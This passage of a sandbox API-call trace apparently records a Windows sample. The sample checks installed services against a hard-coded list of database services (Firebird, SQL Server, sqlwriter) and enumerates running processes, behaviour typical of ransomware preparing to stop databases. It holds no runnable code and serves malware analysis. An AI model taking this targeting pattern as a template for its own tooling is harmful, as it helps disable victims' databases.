1 [0158.721] lstrlenW (lpString="DcomLaunch") returned 10 [0158.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0158.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0158.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0158.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0158.722] lstrlenW (lpString="DeviceAssociationService") returned 24 [0158.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0158.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0158.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0158.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0158.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0158.722] lstrlenW (lpString="Dhcp") returned 4 [0158.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0158.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0158.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0158.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0158.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0158.722] lstrlenW (lpString="Dnscache") returned 8 [0158.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0158.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0158.722] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0158.722] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0158.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0158.722] lstrlenW (lpString="DPS") returned 3 [0158.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0158.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0158.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0158.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0158.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0158.722] lstrlenW (lpString="DusmSvc") returned 7 [0158.722] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0158.722] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0158.722] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0158.722] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0158.722] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0158.722] lstrlenW (lpString="EventLog") returned 8 [0158.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0158.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0158.723] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0158.723] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0158.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0158.723] lstrlenW (lpString="EventSystem") returned 11 [0158.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0158.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0158.723] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0158.723] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0158.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0158.723] lstrlenW (lpString="FontCache") returned 9 [0158.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0158.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0158.723] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0158.723] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0158.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0158.723] lstrlenW (lpString="gpsvc") returned 5 [0158.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0158.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0158.723] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0158.723] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0158.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0158.723] lstrlenW (lpString="iphlpsvc") returned 8 [0158.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0158.723] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0158.723] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0158.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0158.723] lstrlenW (lpString="KeyIso") returned 6 [0158.723] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0158.723] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0158.723] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0158.723] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0158.723] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0158.724] lstrlenW (lpString="LanmanServer") returned 12 [0158.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0158.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0158.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0158.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0158.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0158.724] lstrlenW (lpString="LanmanWorkstation") returned 17 [0158.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0158.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0158.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0158.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0158.724] lstrlenW (lpString="lfsvc") returned 5 [0158.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0158.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0158.724] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0158.724] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0158.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0158.724] lstrlenW (lpString="lmhosts") returned 7 [0158.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0158.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0158.724] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0158.724] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0158.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0158.724] lstrlenW (lpString="LSM") returned 3 [0158.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0158.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0158.724] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0158.724] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0158.724] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0158.724] lstrlenW (lpString="MpsSvc") returned 6 [0158.724] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0158.724] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0158.724] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0158.724] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0158.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0158.725] lstrlenW (lpString="NcbService") returned 10 [0158.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0158.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0158.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0158.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0158.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0158.725] lstrlenW (lpString="netprofm") returned 8 [0158.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0158.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0158.725] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0158.725] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0158.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0158.725] lstrlenW (lpString="NgcSvc") returned 6 [0158.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0158.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0158.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0158.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0158.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0158.725] lstrlenW (lpString="NlaSvc") returned 6 [0158.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0158.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0158.725] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0158.725] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0158.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0158.725] lstrlenW (lpString="nsi") returned 3 [0158.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0158.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0158.725] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0158.725] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0158.725] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0158.725] lstrlenW (lpString="PcaSvc") returned 6 [0158.725] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0158.725] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0158.725] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0158.726] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0158.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0158.726] lstrlenW (lpString="PlugPlay") returned 8 [0158.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0158.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0158.726] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0158.726] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0158.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0158.726] lstrlenW (lpString="Power") returned 5 [0158.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0158.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0158.726] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0158.726] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0158.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0158.726] lstrlenW (lpString="ProfSvc") returned 7 [0158.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0158.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0158.726] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0158.726] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0158.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0158.726] lstrlenW (lpString="RpcEptMapper") returned 12 [0158.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0158.726] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0158.726] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0158.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0158.726] lstrlenW (lpString="RpcSs") returned 5 [0158.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0158.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0158.726] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0158.726] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0158.726] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0158.726] lstrlenW (lpString="SamSs") returned 5 [0158.726] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0158.726] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0158.726] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0158.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0158.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0158.727] lstrlenW (lpString="Schedule") returned 8 [0158.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0158.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0158.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0158.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0158.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0158.727] lstrlenW (lpString="SecurityHealthService") returned 21 [0158.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0158.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0158.727] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0158.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0158.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0158.727] lstrlenW (lpString="SENS") returned 4 [0158.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0158.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0158.727] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0158.727] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0158.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0158.727] lstrlenW (lpString="ShellHWDetection") returned 16 [0158.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0158.727] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0158.727] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0158.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0158.727] lstrlenW (lpString="Spooler") returned 7 [0158.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0158.727] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0158.727] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0158.727] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0158.727] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0158.727] lstrlenW (lpString="StateRepository") returned 15 [0158.727] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0158.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0158.728] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0158.728] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0158.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0158.728] lstrlenW (lpString="SysMain") returned 7 [0158.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0158.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0158.728] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0158.728] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0158.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0158.728] lstrlenW (lpString="SystemEventsBroker") returned 18 [0158.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0158.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0158.915] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0158.915] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0158.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0158.915] lstrlenW (lpString="Themes") returned 6 [0158.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0158.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0158.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0158.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0158.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0158.915] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0158.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0158.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0158.915] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0158.915] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0158.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0158.915] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0158.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0158.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0158.916] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0158.916] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0158.916] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x391a958 | out: hHeap=0x420000) returned 1 [0158.916] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0158.923] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0158.923] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0158.924] lstrlenW (lpString="System") returned 6 [0158.924] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0158.924] lstrlenW (lpString="smss.exe") returned 8 [0158.924] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.925] lstrlenW (lpString="csrss.exe") returned 9 [0158.925] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0158.925] lstrlenW (lpString="wininit.exe") returned 11 [0158.925] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0158.925] lstrlenW (lpString="csrss.exe") returned 9 [0158.926] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0158.926] lstrlenW (lpString="winlogon.exe") returned 12 [0158.926] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0158.926] lstrlenW (lpString="services.exe") returned 12 [0158.926] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0158.927] lstrlenW (lpString="lsass.exe") returned 9 [0158.927] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.927] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.927] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0158.928] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0158.928] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.928] lstrlenW (lpString="svchost.exe") returned 11 [0158.928] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.928] lstrlenW (lpString="svchost.exe") returned 11 [0158.928] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0158.929] lstrlenW (lpString="dwm.exe") returned 7 [0158.929] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.929] lstrlenW (lpString="svchost.exe") returned 11 [0158.929] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.930] lstrlenW (lpString="svchost.exe") returned 11 [0158.930] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.930] lstrlenW (lpString="svchost.exe") returned 11 [0158.930] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.931] lstrlenW (lpString="svchost.exe") returned 11 [0158.931] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0158.931] lstrlenW (lpString="svchost.exe") returned 11 [0158.931] Process32NextW (in: hSnapshot=0x3f8, lppe=0x251fd2c | 